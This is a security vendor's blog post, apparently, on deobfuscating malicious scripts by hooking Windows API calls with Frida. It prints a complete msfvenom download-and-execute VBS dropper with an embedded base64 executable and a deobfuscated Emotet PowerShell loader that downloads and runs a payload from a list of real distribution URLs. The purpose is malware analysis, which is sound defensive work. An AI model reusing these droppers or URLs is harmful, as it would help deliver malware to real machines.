on

Leveraging API Hooking for code deobfuscation with Frida

Introduction

In this post we will discuss how to employ API hooking, a technique mostly used for binary targets, to deobfuscate malicious scripts. We will use the Frida framework to extract some key information for the analyst, such as the lists of C2 servers within the scripts, in some cases bypassing the obfuscation almost automatically.

Motivation

In the cybercrime world, it is a common tactic trying to masquerade malware files as something less threatening than an executable file.

Microsoft Office documents with VBA macros are one of the biggest examples, but you can also find malware from Javascript or Visual Basic Scripts, as these files are interpreted in windows installations by default, unlike Python for example. In addition, they have a notepad-like icon that may fool some unsuspecting user.

These pieces of malware usually do not have the full functionality of the trojan they are trying to install as they are usually just the first stage of the malware i.e., they try to download the actual piece of malware from the Internet and execute it on the victim’s machine. The use of high-level languages is very convenient for the attacker because it is easier to develop, but it is also very useful for the malware analyst, because it is quite easy to see what the malware is actually doing.

To avoid this, attackers put some layers of obfuscation in place to make life difficult for analysts.

But what is obfuscation?

Obfuscation consists of producing equivalent code with the same functionality as the original, but with unnecessary operations, strange syntax, and other tricks to make analysis of what the code does as difficult as possible for a human.

Let’s say that we have this code:

var shell = WScript.CreateObject("WScript.Shell");
shell.Run("calc.exe");

It’s very easy to know what this code is doing. Just create a shell object and open the windows calculator, calc.exe. However, in this code:

var _0x4e56=['CreateObject','1074982fNiesz','414577IBKFgx','Run','54541SINYfj','448682JoZsVK','WScript.Shell','1IkEBVk','3riHMaS','41aaArQg','415159BecppN','2577JdLbZH','40191FiqPSi'];var _0x52f7=function(_0x3a8c55,_0x482172){_0x3a8c55=_0x3a8c55-0x161;var _0x4e5608=_0x4e56[_0x3a8c55];return _0x4e5608;};var _0x581976=_0x52f7;(function(_0x263e63,_0x435fa6){var _0x2f31db=_0x52f7;while(!![]){try{var _0x53a5f9=-parseInt(_0x2f31db(0x162))*parseInt(_0x2f31db(0x164))+-parseInt(_0x2f31db(0x168))*parseInt(_0x2f31db(0x165))+parseInt(_0x2f31db(0x169))+-parseInt(_0x2f31db(0x16b))+-parseInt(_0x2f31db(0x167))+parseInt(_0x2f31db(0x16c))+-parseInt(_0x2f31db(0x166))*-parseInt(_0x2f31db(0x161));if(_0x53a5f9===_0x435fa6)break;else _0x263e63['push'](_0x263e63['shift']());}catch(_0x17faf0){_0x263e63['push'](_0x263e63['shift']());}}}(_0x4e56,0xb5bcb));var shell=WScript[_0x581976(0x16a)](_0x581976(0x163));shell[_0x581976(0x16d)]('calc.exe');

The code implements the same functionality, but in a much more obscure way.

Of course, there is no obfuscation that cannot be deobfuscated, however this is usually a time-consuming task.

Approaches to deobfuscation

Sometimes the Threat Actor uses a standard obfuscation engine, against which analysts can use generic deobfuscators. More often than not though, you will have two approaches as an analyst: either you manually try to deobfuscate the sample, or you run it through a sandbox.

Both options have their caveats. On one hand manual deobfuscation is a time-consuming task while on the other hand a sandbox can lose information, be very noisy, and the malware can detect that it is running inside a sandbox and perform some innocuous activities to avoid detection.

None of these techniques is a substitute for the other.

Selective API hooking

An alternative technique is the performing API hooking. This consists of intercepting Windows API calls to capture information about the calls, or even change its behavior.

Instead of simply throwing the sample into a sandbox, we can hook the API calls made by the script interpreter, hooking only those calls of interest. We know that most of the time they will download and execute something, so hooking networking and execution related API calls seems like a good idea.

This interesting approach is present in the tool developed by OAlabs, frida-wshook [1]. The problem is that this tool is slightly outdated and only supports wscript hooking in its 32-bit version.

In addition, many of these droppers do complex things with the strings to form an executed command, therefore hooking into string-related APIs will be useful. Of course, in this case we will have a lot of verbosity, but we can filter by looking for interesting strings i.e., looking for one that starts with terms like powershell, cmd, certutil, etc.

Programmatic hooking of a subset of the API calls made by a process can be achieved in many ways, but we will focus on the use of dynamic binary instrumentation.

For this purpose, we have Frida [2]. Frida is a dynamic binary instrumentation framework that allows us to inject a complete Javascript engine into the desired process and offers an interface to interact with the target process from Javascript, making things like resolving exported functions, setting breakpoints, and replacing the functionality of some calls easier.

With this in mind, we developed a new tool based on the same principles that frida-wshook implements that is aimed at powershell and office documents.

Testing the tool

So, how does this work?

Let’s say that we have this program:

var _0x4e56=['CreateObject','1074982fNiesz','414577IBKFgx','Run','54541SINYfj','448682JoZsVK','WScript.Shell','1IkEBVk','3riHMaS','41aaArQg','415159BecppN','2577JdLbZH','40191FiqPSi'];var _0x52f7=function(_0x3a8c55,_0x482172){_0x3a8c55=_0x3a8c55-0x161;var _0x4e5608=_0x4e56[_0x3a8c55];return _0x4e5608;};var _0x581976=_0x52f7;(function(_0x263e63,_0x435fa6){var _0x2f31db=_0x52f7;while(!![]){try{var _0x53a5f9=-parseInt(_0x2f31db(0x162))*parseInt(_0x2f31db(0x164))+-parseInt(_0x2f31db(0x168))*parseInt(_0x2f31db(0x165))+parseInt(_0x2f31db(0x169))+-parseInt(_0x2f31db(0x16b))+-parseInt(_0x2f31db(0x167))+parseInt(_0x2f31db(0x16c))+-parseInt(_0x2f31db(0x166))*-parseInt(_0x2f31db(0x161));if(_0x53a5f9===_0x435fa6)break;else _0x263e63['push'](_0x263e63['shift']());}catch(_0x17faf0){_0x263e63['push'](_0x263e63['shift']());}}}(_0x4e56,0xb5bcb));var shell=WScript[_0x581976(0x16a)](_0x581976(0x163));shell[_0x581976(0x16d)]('calc.exe');

This code is the obfuscated version of the previous example. It creates a shell object and calls its function run to execute a calculator.

In Windows, this file will be interpreted by wscript.exe. That binary will parse Javascript or Visual Basic Script code, and will interact with the operating system API to perform some tasks, such as executing shell commands in this instance. That shell.run action will be “translated” into a ShellExecuteExW Windows API call.

If we have the obfuscated version of that code, it will be difficult to see what it is doing, however, we know that ShellExecuteExW is an interesting function to monitor, often used by malware. So, if we hook it in the interpreter and run the script:

Result of running the script and hooking ShellExecuteExW

We will have a decent idea of what the code is doing without having to manually deobfuscate it.

Msfvenom

In order to test this idea, we used the famous tool msfvenom[3], a tool of the Metasploit framework for standalone payload generation. In these tests we used the “download and execute” module, typing the following command: msfvenom -p windows/download_exec URL=http://malware.doma.in/test.exe -f vbs

This will produce the following VBS payload, slightly obfuscated:

Function HaWucvKO(OTarFctGSP)
  BPDHMZUWiNG = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
    "dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
    OTarFctGSP & "</B64DECODE>"
  Set OYRUoAtZGj = CreateObject("MSXML2.DOMDocument.3.0")
  OYRUoAtZGj.LoadXML(BPDHMZUWiNG)
  HaWucvKO = OYRUoAtZGj.selectsinglenode("B64DECODE").nodeTypedValue
  set OYRUoAtZGj = nothing
End Function
Function ybXTWxhTl()
  UjvaXeIkSnYubov = "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"
  Dim NJyEDHkbUrKVNxr
  Set NJyEDHkbUrKVNxr = CreateObject("Scripting.FileSystemObject")
  Dim oKNRuWWTZsgL
  Dim bRJZaWCbDawzXPg
  Set oKNRuWWTZsgL = NJyEDHkbUrKVNxr.GetSpecialFolder(2)
  bRJZaWCbDawzXPg = oKNRuWWTZsgL & "\" & NJyEDHkbUrKVNxr.GetTempName()
  NJyEDHkbUrKVNxr.CreateFolder(bRJZaWCbDawzXPg)
  FOSZdrDlAoCY = bRJZaWCbDawzXPg & "\" & "TFNWmhepfdoUT.exe"
  Dim QkWYTOAA
  Set QkWYTOAA = CreateObject("Wscript.Shell")
  ZGCKKRsrs = HaWucvKO(UjvaXeIkSnYubov)
  Set sFxkATtRQhjbsq = CreateObject("ADODB.Stream")
  sFxkATtRQhjbsq.Type = 1
  sFxkATtRQhjbsq.Open
  sFxkATtRQhjbsq.Write ZGCKKRsrs
  sFxkATtRQhjbsq.SaveToFile FOSZdrDlAoCY, 2
  QkWYTOAA.run FOSZdrDlAoCY, 0, true
  NJyEDHkbUrKVNxr.DeleteFile(FOSZdrDlAoCY)
  NJyEDHkbUrKVNxr.DeleteFolder(bRJZaWCbDawzXPg)
End Function
ybXTWxhTl

This payload will generate and execute an exe file from the base64 encoded string we can see here. Then this exe will perform the download of the malware and run it.

Here we can see how it executes the first stage:

Result of executing the first stage

The cool thing is that with Frida we can replace the call to the APIs we are targeting. That way, we can modify the behavior of the call, for example avoiding the actual execution of the payload or hooking into any new process created.

That’s the output of our tool hooking the second stage exe file:

Result of hooking the second stage

This way, without needing to spend time manually deobfuscating, we were able to determine the most important behavior of the sample.

Emotet

Msfvenom was okay for a quick testing, but we should now test out tool against a real malware sample [4]. In this case we chose Emotet, which, until being disrupted after a takedown operation [5], was one of the most prevalent malware families that used maldocs droppers as an infection vector.

In this case, the tool will hook winword.exe instead of wscript.exe, as it is the responsible of VBA interpretation.

If we open the document, this is what we can see:

Example of an Emotet maldoc

As usual, an office document with macros that will be executed if we click on “Enable editing”. If we inspect the macros, we can see a lot of highly obfuscated VBA code. Here’s a snippet:

Snippet of Emotet VBA macro

In the next image we can see that the sample is using wmi win32_Process class and win32_ProcessStartup to create a new process. We can also see that hooking string-related APIs will be very handy. Using the filter trick we discussed before we were able to retrieve this:

Result of executing the tool on Emotet payload

Even though it is still obfuscated, it is almost only base64 encoded. The unencoded version looks like this:

$DP91 =[typE]('sysTem.I'+'o.DIre'+'ct'+'o'+'rY'); sEt-iTeM VaRIAblE:G70 ( [tYpE]('SYs'+'teM.N'+'eT.seRVIC'+'eP'+'oI'+'nTma'+'nAG'+'e'+'R')); SET ("H"+"bJcL6") ( [TyPe]('SYST'+'em.N'+'E'+'T.se'+'c'+'uRiTyPrOto'+'CO'+'LtYPE')) ; $J4i4qi5=('M'+'gdchoz');$E51sd4v=$N0s4i8p + [char](80 - 38) + $Mkfifkm;$Hvelu4p=('Usp'+'vuqf'); ( VAriAble dp91 -vAlu )::CREateDIRectOrY($env:userprofile + (('xt8'+'Awv83xtxt8'+'U'+'3f6iotx'+'t8') -creplACE 'xt8',[cHar]92));$C3mj827=('J5l'+'gdv9'); ( chiLdITEM variABLe:G70 ).VALuE::SECuritYPrOTocOl = ( vaRIAbLe ("h"+"BjCL6") -VALuEo )::Tls12;$Vl4wjn5=('O'+'1a2'+'s57');$Bax9alf = ('D2en0'+'d');$O1y92sj=('F'+'uj'+'2iyt');$T0xzh1f=('O9jam'+'ru');$Ed5sp55=$env:userprofile+(('{0}'+'Awv83'+'xt'+'{0}'+'U3f6'+'iot'+'{'+'0}') -f[CHaR]92)+$Bax9alf+('.e'+'xe');$Tpj8wqd=('Ha4'+'gidx');$Gyum9c8=Ne`w`-Ob`jeCT nEt.WEBCliEnt;$Yg0l4df=('htt'+'p'+'s:/'+'/a'+'rif'+'ulhuq'+'.co'+'m/'+'wp-'+'in'+'cludes/ucV'+'8'+'/*'+'https://th'+'e'+'u'+'smansa'+'if.com/'+'w'+'p/'+'eVin'+'c'+'/*h'+'t'+'tps'+'://gree'+'nland'+'l'+'i'+'on'+'.'+'com/wp-co'+'nten'+'t/'+'C/*ht'+'tp'+'s'+':/'+'/w'+'ebclie'+'nt'+'w'+'o'+'rks'+'.'+'xyz/fl'+'o'+'rid'+'a/u7aJ/'+'*'+'htt'+'p'+'s:/'+'/hd.yama'+'rinkou'+'.jp/blogs/'+'9'+'7wSwFb/*http:/'+'/leg'+'al'+'em'+'power'+'ment'+'in'+'di'+'a'+'.com/'+'cg'+'i'+'-bi'+'n/'+'9Z6L'+'/*ht'+'t'+'p'+'://'+'dha'+'ram'+'pal.net'+'/pa'+'re'+'nt/L'+'NnbB/*'+'https:/'+'/ziil.eu'+'/cgi-b'+'i'+'n/'+'JNzI'+'/').SPlit($Pwoploy + $E51sd4v + $O1o4iim);$Zb04owt=('Wpoh'+'9'+'02');foreach ($Kw3k787 in $Yg0l4df){try{$Gyum9c8.dOWnLoADFIle($Kw3k787, $Ed5sp55);$H7p1cf8=('Tqn7c'+'ka');If ((GET-`IT`eM $Ed5sp55).lenGTh -ge 24812) {([wmiclass]('wi'+'n'+'3'+'2_Pr'+'ocess')).CreaTE($Ed5sp55);$Bhhe5__=('Cv8_r8'+'w');break;$Ysm5wy6=('Pb'+'0jxiv')}}catch{}}$It63ulq=('Kx'+'_'+'v_ok')

With a little cleanup and some minor renaming, this is the actual powershell code that it is executing:

$DP91 =[typE](sysTem.Io.DIrectorY);
sEt-iTeM VaRIAblE:G70 ( [tYpE](SYsteM.NeT.seRVICePoInTmanAGeR));
SET ("HbJcL6") ( [TyPe](SYSTem.NET.secuRiTyPrOtoCOLtYPE)) ;
$J4i4qi5=(Mgdchoz);

$separator="*";

$Hvelu4p=(Uspvuqf);
( VAriAble dp91 -vAlu )::CREateDIRectOrY($env:userprofile ((xt8Awv83xtxt8U3f6iotxt8) -creplACE xt8,[cHar]92));
$C3mj827=(J5lgdv9);
( chiLdITEM variABLe:G70 ).VALuE::SECuritYPrOTocOl = ( vaRIAbLe ("hBjCL6") -VALuEo )::Tls12;
$Vl4wjn5=(O1a2s57);
$Bax9alf = (D2en0d);
$O1y92sj=(Fuj2iyt);
$T0xzh1f=(O9jamru);
$dowload_file_path=$env:userprofile(({0}Awv83xt{0}U3f6iot{0}) -f[CHaR]92)$Bax9alf(.exe);
$Tpj8wqd=(Ha4gidx);
$web_client=New-ObjeCT nEt.WEBCliEnt;
$Yg0l4df=(https://arifulhuq.com/wp-includes/ucV8/*https://theusmansaif.com/wp/eVinc/*https://greenlandlion.com/wp-content/C/*https://webclientworks.xyz/florida/u7aJ/*https://hd.yamarinkou.jp/blogs/97wSwFb/*http://legalempowermentindia.com/cgi-bin/9Z6L/*http://dharampal.net/parent/LNnbB/*https://ziil.eu/cgi-bin/JNzI/).SPlit($separator);
$Zb04owt=(Wpoh902);
foreach ($url in $url_list){try{$web_client.dOWnLoADFIle($url, $dowload_file_path);
$H7p1cf8=(Tqn7cka);
If ((GET-`IT`eM $dowload_file_path).lenGTh -ge 24812) {([wmiclass](win32_Process)).CreaTE($dowload_file_path);
$Bhhe5__=(Cv8_r8w);
break;
$Ysm5wy6=(Pb0jxiv)}}catch{}}$It63ulq=(Kx_v_ok)

We can clearly see what the powershell code it is doing: iterating a list of URLs whilst trying to download a file. If the file is downloaded, (it checks the length of the downloaded binary) it will execute. Otherwise, it will continue with the next URL.

We can dump all the URLs from where the sample is trying to download the actual malware, allowing us to continue with the analysis losing a minimum amount of time in the deobfuscation process. The following URLs were retrieved for this sample:

  • https://arifulhuq[.]com/wp-includes/ucV8/
  • https://theusmansaif[.]com/wp/eVinc/
  • https://greenlandlion[.]com/wp-content/C/
  • https://webclientworks[.]xyz/florida/u7aJ/
  • https://hd.yamarinkou[.]jp/blogs/97wSwFb/
  • http://legalempowermentindia[.]com/cgi-bin/9Z6L/
  • http://dharampal[.]net/parent/LNnbB/
  • https://ziil[.]eu/cgi-bin/JNzI/

Conclusions

As we have seen, binary instrumentation can be a useful tool against interpreted languages malware, and we can get good results against obfuscation in a simple way. We have released the tool that we have developed in git [6] with all the hooks that appear in the article. The tool is meant to be able to add more hooks as needed in a simple way, taking advantage of the ease of use of Frida.

References

[1] https://github.com/OALabs/frida-wshook

[2] https://frida.re/

[3] https://www.offensive-security.com/metasploit-unleashed/msfvenom/

[4]https://www.virustotal.com/gui/file/43e16844645b7ac62a47c4b847fe5cb4fbdae95708f46c75c532f0eb9aa8ee74/detection

[5] https://www.europol.europa.eu/newsroom/news/world%E2%80%99s-most-dangerous-malware-emotet-disrupted-through-global-action
[6] https://github.com/Blueliv/deobfuscation-apihooking-frida

What is Threat Intelligence and why is it important?

Learn more
Demo Free Trial MSSP
Program